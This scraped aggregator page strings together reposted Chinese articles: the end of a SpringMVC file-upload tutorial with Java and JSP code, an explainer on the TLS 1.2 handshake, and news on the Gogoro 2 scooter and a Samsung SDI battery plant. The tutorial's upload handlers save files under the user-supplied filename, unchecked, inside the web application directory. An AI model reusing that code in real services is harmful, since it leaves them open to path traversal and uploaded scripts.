    20         <property name="prefix" value="/WEB-INF/pages/"></property>
    21         <!-- 尋找文件的後綴名 -->
    22         <property name="suffix" value=".jsp"></property>
    23     </bean>
    24 
    25     <!-- 配置文件解析器對象 -->
    26     <bean id="multipartResolver"
    27           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
    28         <property name="defaultEncoding" value="utf-8"></property>
    29         <property name="maxUploadSize" value="10485760"></property>
    30     </bean>
    31     
    32     <!-- 配置spring開啟註解mvc的支持 -->
    33     <mvc:annotation-driven></mvc:annotation-driven>
    34 </beans>

    4、TestController類(SpringMVC)

      1 package StudyProject.Controller;
      2 
      3 import com.sun.jersey.api.client.Client;
      4 import com.sun.jersey.api.client.WebResource;
      5 import org.apache.commons.fileupload.FileItem;
      6 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
      7 import org.apache.commons.fileupload.servlet.ServletFileUpload;
      8 import org.springframework.stereotype.Controller;
      9 import org.springframework.web.bind.annotation.RequestMapping;
     10 import org.springframework.web.multipart.MultipartFile;
     11 import javax.servlet.http.HttpServletRequest;
     12 import java.io.File;
     13 import java.util.List;
     14 import java.util.UUID;
     15 
     16 @Controller
     17 @RequestMapping(path="/testController")
     18 public class TestController {
     19 
     20     @RequestMapping(path="/testMethod_Traditional")
     21     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
     22         System.out.println("執行了testMethod_Traditional方法");
     23 
     24         //獲取文件上傳目錄
     25         String path = request.getSession().getServletContext().getRealPath("/uploads");
     26         //創建file對象
     27         File file = new File(path);
     28         //判斷路徑是否存在,若不存在,創建該路徑
     29         if (!file.exists()) {
     30             file.mkdir();
     31         }
     32 
     33         //創建磁盤文件項工廠
     34         DiskFileItemFactory factory = new DiskFileItemFactory();
     35         ServletFileUpload fileUpload = new ServletFileUpload(factory);
     36         //解析request對象
     37         List<FileItem> list = fileUpload.parseRequest(request);
     38         //遍歷
     39         for (FileItem fileItem:list) {
     40             // 判斷文件項是普通字段,還是上傳的文件
     41             if (fileItem.isFormField()) {
     42                 //普通字段
     43             } else {
     44                 //上傳文件項
     45                 //獲取上傳文件項的名稱
     46                 String filename = fileItem.getName();
     47                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
     48                 filename = uuid+"_"+filename;
     49                 //上傳文件
     50                 fileItem.write(new File(file,filename));
     51                 //刪除臨時文件
     52                 fileItem.delete();
     53             }
     54         }
     55 
     56         System.out.println("上傳路徑:"+path);
     57         System.out.println("上傳成功");
     58         return "success";
     59     }
     60 
     61     @RequestMapping(path="/testMethod_SpringMVC")
     62     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
     63         System.out.println("執行了testMethod_SpringMVC方法");
     64 
     65         //獲取文件上傳目錄
     66         String path = request.getSession().getServletContext().getRealPath("/uploads");
     67         //創建file對象
     68         File file = new File(path);
     69         //判斷路徑是否存在,若不存在,創建該路徑
     70         if (!file.exists()) {
     71             file.mkdir();
     72         }
     73 
     74         //獲取到上傳文件的名稱
     75         String filename = uploadfile_SpringMVC.getOriginalFilename();
     76         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
     77         filename = uuid+"_"+filename;
     78         //上傳文件
     79         uploadfile_SpringMVC.transferTo(new File(file,filename));
     80 
     81         System.out.println("上傳路徑:"+path);
     82         System.out.println("上傳成功");
     83         return "success";
     84     }
     85 
     86     @RequestMapping(path="/testMethod_AcrossServer")
     87     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
     88         System.out.println("執行了testMethod_AcrossServer方法");
     89 
     90         //定義上傳文件服務器路徑
     91         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
     92 
     93         //獲取到上傳文件的名稱
     94         String filename = uploadfile_AcrossServer.getOriginalFilename();
     95         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
     96         filename = uuid+"_"+filename;
     97 
     98         //創建客戶端對象
     99         Client client = Client.create();
    100         //連接圖片服務器
    101         WebResource webResourcer = client.resource(path+filename);
    102         //向圖片服務器上傳文件
    103         webResourcer.put(uploadfile_AcrossServer.getBytes());
    104 
    105         System.out.println("上傳路徑:"+path);
    106         System.out.println("上傳成功");
    107         return "success";
    108     }
    109 
    110 }

    5、index.jsp(SpringMVC)

     1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
     2 <html>
     3 <head>
     4     <title>Title</title>
     5 </head>
     6 <body>
     7 
     8     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
     9         圖片 <input type="file" name="uploadfile_Traditional"> <br>
    10         <input type="submit" value="傳統方式上傳文件">
    11     </form>
    12 
    13     <br><br><br>
    14 
    15     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
    16         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
    17         <input type="submit" value="SpringMVC上傳文件">
    18     </form>
    19 
    20     <br><br><br>
    21 
    22     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
    23         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
    24         <input type="submit" value="跨服務器上傳文件">
    25     </form>
    26 
    27 </body>
    28 </html>

    6、success.jsp(SpringMVC)

     1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
     2 <html>
     3 <head>
     4     <title>Title</title>
     5 </head>
     6 <body>
     7 
     8     <h3>跳轉成功</h3>
     9 
    10 </body>
    11 </html>

    7、index.jsp(FileuploadServer)

    1 <html>
    2 <body>
    3 <h2>Hello! FileuploadServer</h2>
    4 </body>
    5 </html>

    學習資料來源:黑馬程序員

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

  • TLS1.2協議設計原理

    TLS1.2協議設計原理

    目錄

    • 前言
    • 為什麼需要TLS協議
    • 發展歷史
    • 協議設計目標
    • 記錄協議
      • 握手步驟
      • 握手協議
        • Hello Request
        • Client Hello
        • Server Hello
        • Certificate
        • Server Key Exchange
        • Certificate Request
        • Server Hello Done
        • Client Certificate
        • Client Key Exchange
        • Certificate Verify
        • Finished
      • 改變密碼標準協議
      • 警報協議
      • 應用程序數據協議
    • 結語
    • 參考文獻

    前言

    最近對TLS1.2協議處理流程進行了學習及實現,本篇文章對TLS1.2的理論知識和處理流程進行分析,TLS協議的實現建議直接看The Transport Layer Security (TLS) Protocol Version 1.2

    為什麼需要TLS協議

    通常我們使用TCP協議或UDP協議進行網絡通信。TCP協議提供一種面向連接的、可靠的字節流服務。但是TCP並不提供數據的加密,也不提供數據的合法性校驗。

    我們通常可以對數據進行加密、簽名、摘要等操作來保證數據的安全。目前常見的加密方式有對稱加密和非對稱加密。使用對稱加密,雙方使用共享密鑰。

    但是對於部署在互聯網上的服務,如果我們為每個客戶端都使用相同的對稱加密密鑰,那麼任何人都可以將數據解密,那麼數據的隱私性將得不到保障。

    如果我們使用非對稱密鑰加密,客戶端使用服務端的公鑰進行公鑰加密,服務端在私鑰不泄露的情況下,只有服務端可以使用私鑰可以對數據進行解密,從而保障數據的隱私性,但是非對稱加密比對稱加密的成本高得多。

    我們可以採用對稱加密和非對稱加密相結合的方式實現數據的隱私性的同時性能又不至於太差。

    1. 首先客戶端和服務端通過一個稱為密鑰交換的流程進行密鑰協商及交換密鑰所系的信息。
    2. 通過公鑰加密對稱密鑰保證對稱密鑰的安全傳輸。
    3. 服務端使用私鑰解密出對稱密鑰。
    4. 最後雙方使用協商好的對稱密鑰對數據進行加解密。

    TLS協議就是實現了這一過程安全協議。TLS是在TCP之上,應用層之下實現的網絡安全方案。在TCP/IP四層網絡模型中屬於應用層協議。TLS協議在兩個通信應用程序之間提供數據保密性和數據完整性,另外還提供了連接身份可靠性方案。

    UDP則使用DTLS協議實現安全傳輸,和TLS協議類似。

    發展歷史

    TLS協議的前身SSL協議是網景公司設計的主要用於Web的安全傳輸協議,這種協議在Web上獲得了廣泛的應用。

    • 1994年,網景公司設計了SSL協議的1.0版,因為存在嚴重的安全漏洞,未公開。
    • 2.0版本在1995年2月發布,但因為存在數個嚴重的安全漏洞(比如使用MD5摘要、握手消息沒有保護等),2011年RFC 6176 標準棄用了SSL 2.0。
    • 3.0版本在1996年發布,是由網景工程師完全重新設計的,同時寫入RFC,較新版本的SSL/TLS基於SSL 3.0。2015年,RFC 7568 標準棄用了SSL 3.0。
    • 1999年,IETF將SSL標準化,並將其稱為TLS(Transport Layer Security)。從技術上講,TLS 1.0與SSL 3.0的差異非常微小。
    • TLS 1.1在RFC 4346中定義,於2006年4月發表,主要修復了CBC模式的BEAST攻擊等漏洞。

      微軟、Google、蘋果、Mozilla四家瀏覽器業者將在2020年終止支持TLS 1.0及1.1版。

    • TLS 1.2在RFC 5246中定義,於2008年8月發表,添加了增加AEAD加密算法,如支持GCM模式的AES。
    • TLS 1.3在RFC 8446中定義,於2018年8月發表,砍掉了AEAD之外的加密方式。

    協議設計目標

    1. 加密安全:TLS應用於雙方之間建立安全連接,通過加密,簽名,數據摘要保障信息安全。
    2. 互操作性:程序員在不清楚TLS協議的情況下,只要對端代碼符合RFC標準的情況下都可以實現互操作。
    3. 可擴展性:在必要時可以通過擴展機制添加新的公鑰和機密方法,避免創建新協議。
    4. 相對效率:加密需要佔用大量CPU,尤其是公鑰操作。TLS協議握手完成后,通過對稱密鑰加密數據。TLS還集成了會話緩存方案,減少需要從頭建立連接的情況。

    記錄協議

    TLS協議是一個分層協議,第一層為TLS記錄層協議(Record Layer Protocol),該協議用於封裝各種高級協議。目前封裝了4種協議:握手協議(Handshake Protocol)、改變密碼標準協議(Change Cipher Spec Protocol)、應用程序數據協議(Application Data Protocol)和警報協議(Alert Protocol)。

    Change Cipher Spec Protocol在TLS1.3被去除。

    記錄層包含協議類型、版本號、長度、以及封裝的高層協議內容。記錄層頭部為固定5字節大小。

    在TLS協議規定了,如接收到了未定義的協議協議類型,需要發送一個unexpected_message警報。

    握手步驟

    • 當客戶端連接到支持TLS協議的服務端要求創建安全連接並列出了受支持的算法套件(包括加密算法、散列算法等),握手開始。
    • 服務端從客戶端的算法套件列表中指定自己支持的一個算法套件,並通知客戶端,若沒有則使用一個默認的算法套件。
    • 服務端發回其数字證書,此證書通常包含服務端的名稱、受信任的證書頒發機構(CA)和服務端的公鑰。
    • 客戶端確認其頒發的證書的有效性。
    • 為了生成會話密鑰用於安全連接,客戶端使用服務端的公鑰加密隨機生成的密鑰,並將其發送到服務端,只有服務端才能使用自己的私鑰解密。
    • 利用隨機數,雙方生成用於加密和解密的對稱密鑰。這就是TLS協議的握手,握手完畢后的連接是安全的,直到連接(被)關閉。如果上述任何一個步驟失敗,TLS握手過程就會失敗,並且斷開所有的連接。

    握手協議

    TLS 握手協議允許服務端和客戶端相互進行身份驗證,並在應用程序協議傳輸或接收其第一個字節數據之前協商協議版本、會話ID、壓縮方法、密鑰套件、以及加密密鑰。

    完整的TLS握手流程,流程如下

      Client                                                       Server
    
      ClientHello                  -------->
                                                              ServerHello
                                                              Certificate*
                                                        ServerKeyExchange*
                                                      CertificateRequest*
                                    <--------              ServerHelloDone
      Certificate*
      ClientKeyExchange
      CertificateVerify*
      [ChangeCipherSpec]
      Finished                     -------->
                                                        [ChangeCipherSpec]
                                    <--------                     Finished
      Application Data             <------->             Application Data
    
    • 表示可選步驟或與實際握手情況相關。比如重建已有連接,服務端無需執行Certificate,再比如使用RSA公鑰加密時,無需ServerKeyExchange。
      握手協議消息必須按上面流程的發送數據進行發送,否則需要以致命錯誤告知對方並關閉連接。

    完整的握手流程有時候也被稱為2-RTT流程,即完整的握手流程需要客戶端和服務端交互2次才能完成握手。

    交互應用請求到響應的交互時間被稱為往返時間(Round-trip Time)

    握手協議的結構如下,其中協議頭的ContentType固定為22,接下來是TLS版本號,TLS1.2為0303,最後是用2字節表示長度。

    握手協議類型包含以下:

    • hello_request:0
    • client_hello:1
    • server_hello:2
    • certificate:3
    • server_key_exchange :12
    • certificate_request:13
    • server_hello_done:14
    • certificate_verify:15
    • client_key_exchange:16
    • finished:20

    Hello Message是具體的握手協議類型內容,不同協議內容有所不同。

    Hello Request

    Hello Request消息用於客戶端與服務端重新協商握手,該消息可能由服務端在任何時刻發送。Hello Request消息非常簡單,沒有其他冗餘信息。

    當客戶端收到了服務端的Hello Request時可以有以下4種行為:

    • 當客戶端正在協商會話,可以忽略該消息。
    • 若客戶端未在協商會話但不希望重新協商時,可以忽略該消息。
    • 若客戶端未在協商會話但不希望重新協商時,可以發送no_renegotiation警報。
    • 若客戶端希望重新協商會話,則需要發送ClientHello重新進行TLS握手。

    服務端發送完HelloRequest消息,可以有以下幾種行為:

    • 服務端發送了HelloRequest消息,但未收到ClientHello時,可以通過致命連接警報關閉連接。
    • 服務端發送了HelloRequest消息,必須等待握手協商處理完成后才可以繼續處理應用數據消息。

    Finished和Certificate的握手消息驗證不包括該消息的hash。

    Client Hello

    當客戶端首次與服務端建立連接或需要重新協商加密握手會話時,需要將Client Hello作為第一條消息發送給服務端。

    Client Hello消息包含了許多重要信息,包括客戶端版本號、客戶端隨機數、會話ID、密鑰套件、壓縮方式、擴展字段等。

    • 客戶端版本號:客戶端支持的最新TLS版本號,服務端會根據該協議號進行協議協商。
    • 32位隨機數:客戶端生成的32位隨機數。前4位是Unix時間戳,該時間戳為1970年1月1日0點以來的秒數。不過TLS並沒有強制要求校驗該時間戳,因此允許定義為其他值。後面28位為一個隨機數。

      通過前4字節填寫時間方式,有效的避免了周期性的出現一樣的隨機數。使得”隨機”更加”隨機”。
      在TLS握手時,客戶端和服務端需要協商數據傳輸時的加密密鑰。為了保證加密密鑰的安全性。密鑰需要通過客戶端和服務端一起生成。客戶端和服務端都提供一個32位的隨機數,通過該隨機數使用基於HMAC的PRF算法生成客戶端和服務端的密鑰。

    • 會話ID:用於表示客戶端和服務端之間的會話。實際的會話ID是由服務端定義的,因此即使是新的連接,服務端返回的會話ID可能也會和客戶端不一致,由於會話ID是明文傳輸的,因此不能存放機密信息。
      • 若會話ID是新的,則客戶端和服務端需要建立完整的TLS握手連接流程。
      • 若會話ID是較早連接的會話ID,則服務端可以選擇無需執行完整的握手協議。
    • 算法套件:客戶端將支持的加密算法組合排列后發送給服務端,從而和服務端協商加密算法。服務端根據支持算法在ServerHello返回一個最合適的算法組合。
      算法套件的格式為TLS_密鑰交換算法_身份認證算法_WITH_對稱加密算法_消息摘要算法,比如TLS_DHE_RSA_WITH_AES_256_CBC_SHA256,密鑰交換算法是DHE,身份認證算法是RSA,對稱加密算法是AES_256_CBC,消息摘要算法是SHA256,由於RSA又可以用於加密也可以用於身份認證,因此密鑰交換算法使用RSA時,只寫一個RSA,比如TLS_RSA_WITH_AES_256_CBC_SHA256
    • 壓縮方式:用於和服務端協商數據傳輸的壓縮方式。由於TLS壓縮存在安全漏洞,因此在TLS1.3中已經將TLS壓縮功能去除,TLS1.2算法也建議不啟用壓縮功能。
    • 擴展字段:可以在不改變底層協議的情況下,添加附加功能。客戶端使用擴展請求其他功能,服務端若不提供這些功能,客戶端可能會中止握手。對於擴展字段的詳細定義可以看Transport Layer Security (TLS) Extensions

    客戶端發送完 ClientHello 消息后,將等待 ServerHello 消息。 服務端返回的任何握手消息(HelloRequest 除外)將被視為致命錯誤。

    Server Hello

    當服務端接收到ClientHello,則開始TLS握手流程, 服務端需要根據客戶端提供的加密套件,協商一個合適的算法簇,其中包括對稱加密算法、身份驗證算法、非對稱加密算法以及消息摘要算法。若服務端不能找到一個合適的算法簇匹配項,則會響應握手失敗的預警消息。

    • 版本號:服務端根據客戶端發送的版本號返回一個服務端支持的最高版本號。若客戶端不支持服務端選擇的版本號,則客戶端必須發送protocol_version警報消息並關閉連接。

      若服務端接收到的版本號小於當前支持的最高版本,且服務端希望與舊客戶端協商,則返回不大於客戶端版本的服務端最高版本。
      若服務端僅支持大於client_version的版本,則必須發送protocol_version警報消息並關閉連接。
      若服務端收到的版本號大於服務端支持的最高版本的版本,則必須返回服務端所支持的最高版本。

    • 32位隨機數:服務端生成的32位隨機數,生成方式和客戶端一樣。服務端生成隨機數的可以有效的防範中間人攻擊,主要是通過防止重新握手后的重放攻擊。

    • 會話ID:用於表示客戶端和服務端之間的會話。若客戶端提供了會話ID,則可以校驗是否與歷史會話匹配。

      • 若不匹配,則服務端可以選擇直接使用客戶端的會話ID或根據自定義規則生成一個新的會話ID,客戶端需要保存服務端返回的會話ID當作本次會話的ID。

      • 若匹配,則可以直接執行1-RTT握手流程,返回ServerHello后直接返回ChangeCipherSpecFinished消息。

            Client                                                Server
        
            ClientHello                   -------->
                                                            ServerHello
                                                        [ChangeCipherSpec]
                                            <--------             Finished
            [ChangeCipherSpec]
            Finished                      -------->
            Application Data              <------->     Application Data
        

        在Finished消息中和完整握手一樣都需要校驗VerifyData。

    • 算法套件:服務端根據客戶端提供的算法套件列表和自己當前支持算法進行匹配,選擇一個最合適的算法組合,若沒有匹配項,則使用默認的TLS_RSA_WITH_AES_128_CBC_SHA

      TLS1.2協議要求客戶端和服務端都必須實現密碼套件TLS_RSA_WITH_AES_128_CBC_SHA

    • 壓縮方式:用於和服務端協商數據傳輸的壓縮方式。由於TLS壓縮存在安全漏洞,因此在TLS1.3中已經將TLS壓縮功能去除,TLS1.2算法也建議不啟用壓縮功能。

    • 擴展字段:服務端需要支持接收具有擴展和沒有擴展的ClientHello。服務端響應的擴展類型必須是ClientHello出現過才行,否則客戶端必須響應unsupported_extension嚴重警告並中斷握手。

    RFC 7568要求客戶端和服務端握手時不能發送{3,0}版本,任何收到帶有協議Hello消息的一方版本設置為{3,0}必須響應protocol_version警報消息並關閉連接。

    通過ClientHelloServerHello,客戶端和服務端就協商好算法套件和用於生成密鑰的隨機數。

    Certificate

    假設客戶端和服務端使用默認的TLS_RSA_WITH_AES_128_CBC_SHA算法,在ServerHello完成后,服務端必須將本地的RSA證書傳給客戶端,以便客戶端和服務端之間可以進行非對稱加密保證對稱加密密鑰的安全性。
    RSA的證書有2個作用:

    • 客戶端可以對服務端的證書進行合法性進行校驗。
    • Client Key Exchange生成的pre-master key進行公鑰加密,保證只有服務端可以解密,確保對稱加密密鑰的安全性。

    發送給客戶端的是一系列證書,服務端的證書必須排列在第一位,排在後面的證書可以認證前面的證書。
    當客戶端收到了服務端的ServerHello時,若客戶端也有證書需要服務端驗證,則通過該握手請求將客戶端的證書發送給服務端,若客戶端沒有證書,則無需發送證書請求到服務端。

    證書必須為X.509v3格式。

    Server Key Exchange

    使用RSA公鑰加密,必須要保證服務端私鑰的安全。若私鑰泄漏,則使用公鑰加密的對稱密鑰就不再安全。同時RSA是基於大數因式分解。密鑰位數必須足夠大才能避免密鑰被暴力破解。

    1999年,RSA-155 (512 bits) 被成功分解。
    2009年12月12日,RSA-768 (768 bits)也被成功分解。
    在2013年的稜鏡門事件中,某個CA機構迫於美國政府壓力向其提交了CA的私鑰,這就是十分危險的。

    相比之下,使用DH算法通過雙方在不共享密鑰的情況下雙方就可以協商出共享密鑰,避免了密鑰的直接傳輸。DH算法是基於離散對數,計算相對較慢。而基於橢圓曲線密碼(ECC)的DH算法計算速度更快,而且用更小的Key就能達到RSA加密的安全級別。ECC密鑰長度為224~225位幾乎和RSA2048位具有相同的強度。

    ECDH:基於ECC的DH算法。

    另外在DH算法下引入動態隨機數,可以避免密鑰直接傳輸。同時即使密鑰泄漏,也無法解密其他消息,因為雙方生成的動態隨機數無法得知。

    在密碼學中該特性被稱為前向保密

    DHE: 通過引入動態隨機數,具有前向保密的DH算法。
    ECDHE:通過引入動態隨機數,具有前保密的ECDH算法。

    Certificate Request

    當需要TLS雙向認證的時候,若服務端需要驗證客戶端的證書,則向客戶端發送Certificate Request請求獲取客戶端指定類型的證書。

    • 服務端會指定客戶端的證書類型。
    • 客戶端會確定是否有合適的證書。

    Server Hello Done

    當服務端處理Hello請求結束時,發送Server Hello Done消息,然後等待接收客戶端握手消息。客戶端收到服務端該消息,有必要時需要對服務端的證書進行有效性校驗。

    Client Certificate

    當客戶端收到了服務端的CertificateRequest請求時,需要發送Client Certificate消息,若客戶端無法提供證書,則仍要發送此消息,消息內容可以不包含證書。

    Client Key Exchange

    客戶端接收到ServerHelloDone消息后,計算密鑰,通過發送Client Key Exchange消息給服務端。客戶端和服務端通過Key Exchange消息交換密鑰,使得雙方的主密鑰協商達成一致。

    以RSA的密鑰協商為例。在ClientHelloServerHello分別在客戶端和服務端創建了一個32位的隨機數。客戶端接收到Server Hello Done消息時,生成最後一個48位的預主密鑰。通過服務端提供的證書進行公鑰加密,以保證只有服務端的私鑰才能解密。

    其中預主密鑰的前2位要求使用Client Hello傳輸的TLS版本號(存在一些TLS客戶端傳遞的時協商后的TLS版本號,對該版本號檢查時可能會造成握手失敗)。

    需要注意的是,若RSA證書的填空格式不正確,則可能會存在一個漏洞導致客戶端發送的PreMasterSecret被中間人解密造成數據加密的對賬密鑰泄漏。可以看下Attacking RSA-based Sessions in SSL/TLS

    Certificate Verify

    若服務端要求客戶端發送證書,且客戶端發送了非0長度的證書,此時客戶端想要證明自己擁有該證書,則需要使用客戶端私鑰簽名一段數據發送給服務端繼續驗證。該數據為客戶端收發的所有握手數據的hash值(不包括本次消息)。

    Finished

    當發送完Change Cipher Spec消息后必須立即發送該消息。當該消息用於驗證密鑰交換和身份驗證過程是否成功。

    Finished消息是第一個使用協商的算法簇進行加密和防篡改保護的消息。一旦雙方都通過了該消息驗證,就完成了TLS握手。
    VerifyData為客戶端收發的所有握手數據的hash值(不包括本次消息)。與Certificate Verify的hash值可能會不一樣。如果發送過Certificate Verify消息,服務端的握手消息會包含Certificate Verify握手的數據。

    需要注意的是,握手數據不包括協議頭的握手協議明文數據(服務端返回Finished的驗證握手數據是包含接收到客戶端的Finished的明文hash值)。

    Finished消息數據加密和Appilication Data一致,具體數據加密在Application Data段進行說明。

    改變密碼標準協議

    改變密碼標準協議是為了在密碼策略中發出信號轉換信號。 該協議由一條消息組成,該消息在當前(不是掛起的)連接狀態下進行加密和壓縮。 消息由值 1 的單個字節組成。

    在接收到該協議后,所有接收到的數據都需要解密。

    警報協議

    警報消息傳達消息的嚴重性(警告或致命)和警報的說明。具有致命級別的警報消息會導致立即終止連接。
    若在改變密碼標準協議前接收到警報消息,是明文傳輸的,無需解密。

    與其他消息一樣,警報消息按當前連接狀態指定進行加密和壓縮。在接收到改變密碼標準協議後接收到警報協議,則需要進行解密。解密后即為警報協議明文格式。

    加密的Alert消息和加密數據一樣,都需要遞增加密序號,在數據解密時,遞增解密序號。

    應用程序數據協議

    當客戶端和服務端Finished發送完畢並驗證通過後,握手就結束了。後續所有數據都會使用握手協商的對稱密鑰進行數據加密。

    TLS協議實現了數據加密和MAC計算。一般來說有3種加密模式,分別為:

    1. Mac-then-Encrypt:在明文上計算MAC,將其附加到數據,然後加密明和+MAC的完整數據。
    2. 加密和MAC:在明文上計算MAC,加密明文,然後將MAC附加到密文的末尾
    3. Encrypt-then-Mac:加密明文,然後在密文上計算MAC,並將其附加到密文。

    TLS協議使用的是Mac-then-Encrypt。首先將加密的序號、ContentType、數據長度、數據進計算HMAC-SHA256摘要。然後將摘要拼接到數據后,通過PKCS7格式對摘要+MAC數據進行填充對其和加密塊大小一致。最後摘要+MAC+對其填充塊進行加密。

    需要注意的是應用程序數據消息有最大長度限制2^14 + 2048,當超過長度后,數據需要分段傳輸。每一段都當作單獨的數據段進行單獨MAC地址並加密。

    結語

    TLS1.2版本是目前最常用的TLS協議,TLS1.3版本於2018年發表,目前並沒有廣泛使用。
    使用TLS1.2需要注意以下幾點:

    1. 若使用RSA非對稱加密,則需要盡可能使用2048位長度的密鑰。
    2. 盡可能可以使用具有前向安全性的加密算法,如ECDHE算法進行非對稱加密。
    3. 使用AEAD認證加密(GCM)代替CBC塊加密。

    參考文獻

    1. The Transport Layer Security (TLS) Protocol Version 1.2
    2. TLS發展歷史
    3. 前向安全性
    4. TLS/SSL 協議詳解 (30) SSL中的RSA、DHE、ECDHE、ECDH流程與區別
    5. TLS Extensions
    6. Session會話恢復:兩種簡短的握手總結SessionID&SessionTicket
    7. Why using the premaster secret directly would be vulnerable to replay attack?
    8. Why does the SSL/TLS handshake have a client and server random?
    9. Transport Layer Security (TLS) Extensions
    10. 什麼是AEAD加密
    11. Padding Oracle Attacks
    12. Lucky13攻擊
    13. Padding Oracle Attack
    14. ssl perfect forward secrecy
    15. Transport Layer Security (TLS) Session Resumption without Server-Side State
    16. Elliptic Curve Cryptography (ECC) Cipher Suites for Transport Layer Security (TLS)
    17. DTLS協議中client/server的認證過程和密鑰協商過程

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※Google地圖已可更新顯示潭子電動車充電站設置地點!!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計最專業,超強功能平台可客製化

  • Gogoro 2上市,支援指紋解鎖

    Gogoro 2上市,支援指紋解鎖

    Gogoro 5月25日在台發表第二代車款「Gogoro 2」,主打更低廉的售價,加大的車身,同時也承諾將採用更多機車行業的公規零件。

    此次Gogoro 2 共有兩個版本,包括入門的Gogoro 2,以及具有更多智慧功能的Gogoro 2 Plus。入門款訂價為73,800 元,Plus 版則為79,800 元,但符合先前的傳聞,如果經由各縣市電動車補助,以及汰換二行程新購補助,將能以5 萬有找的售價入手,比如補助最大的桃園,就可以用台幣38,800 元購入。

    ▲Gogoro 2 原廠提供超過50 種不同配件。(Source:科技新報攝)

    Gogoro 2 也預計會搭載新的智慧系統iQ 4.0,最大特色是讓手機能讀取更多機車的動力資訊、能耗狀況,同時也支援以手機密碼或指紋「解鎖」機車。加大一些、更貼近目前主流125 車型的雙載座位可能也是賣點。由於車身加大,即使扣除電池部份,車廂也擺得下兩頂3/4 帽。

    ▲(Source:科技新報攝)

    採用更多機車工業的主流零件也是Gogoro 2 的特色,增加了車主自行改裝、或是修繕的空間。儘管代價之一是先前以一體成型合金車沖出來的車身不再,外型也變得比較貼近一般國產油車,但一方面除了能減輕車主的保固成本,Gogoro 也得以公布新的「Go Partner 計劃」,內容類似現行的機車行營銷模式,讓第三方小廠能加入維修保固、甚至銷售機車的服務。

    至於性能方面的改進,則包括續航提高10 公里。機車的儀表板也有重新設計。配色則包括黑、白、紅、橘、黃、藍。

    Gogoro 2 將從即日起開始預購,至6/30 為止,交車日期則將從7 月開始。如果是學生,則會有分期優惠。

    (合作媒體:。圖片出處:TechNews;首圖來源:Gogoro)

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • Samsung SDI匈牙利電動車用電池廠落成

    Samsung SDI匈牙利電動車用電池廠落成

    Samsung SDI持續擴張鋰電池相關事業,在匈牙利布達佩斯附近的Goed完成了一座電動車用動力電池的工廠,並於當地時間5月29日舉辦落成慶祝大典。此工廠預計在2018年第二季正式投產。

    Goed工廠的竣工儀式有約150名官員出席,包括匈牙利總理Viktor Orban,Samsung SDI的總裁Jun Young-hyun,匈牙利外交與貿易部長Peter Szijjarto,以及韓國駐匈牙利大使Yim Geun-hyeong等。

    Goed工廠佔地約33萬平方中尺,每年所生產的動力電池足供5萬輛電動車使用,預計在明年第二季投產。此工廠專為歐洲市場所設立,將可有效降低物流支出,還能提高對歐洲客戶的在地服務。該工廠的前身為Samsung SDI的電漿面板廠,後來調整為生產動力電池的工廠,可利用Samsung SDI的最新科技生產高功率、高效能動力電池。

    歐洲注重環保,因此是再生能源與電動車產品的一大市場。而電動車市場的擴大,直接帶動了電池的需求。

    Viktor Orban表示,匈牙利在1990年代初期,因資本主義而認識了眾多公司和品牌,並了解到:「南韓製造」意味著品質保證。他指出,韓國是匈牙利的榜樣,一個小國要建立強大的經濟,並在全球市場上佔有一席之地,關鍵就在於此。

    Goed與Samsung SDI雙方都需要這項建設,因此匈牙利政府也給予大力支持。Jun Young-hyun指出,動力電池是電動車最重要的零組件之一,Samsung SDI將會為Goed工廠引入最新的電池科技,並希望這間工廠能為歐洲的電動車市場帶來更多貢獻。

    本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※為什麼 USB CONNECTOR 是電子產業重要的元件?

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※台北網頁設計公司全省服務真心推薦

    ※想知道最厲害的網頁設計公司"嚨底家"!

    新北清潔公司,居家、辦公、裝潢細清專業服務

    ※推薦評價好的iphone維修中心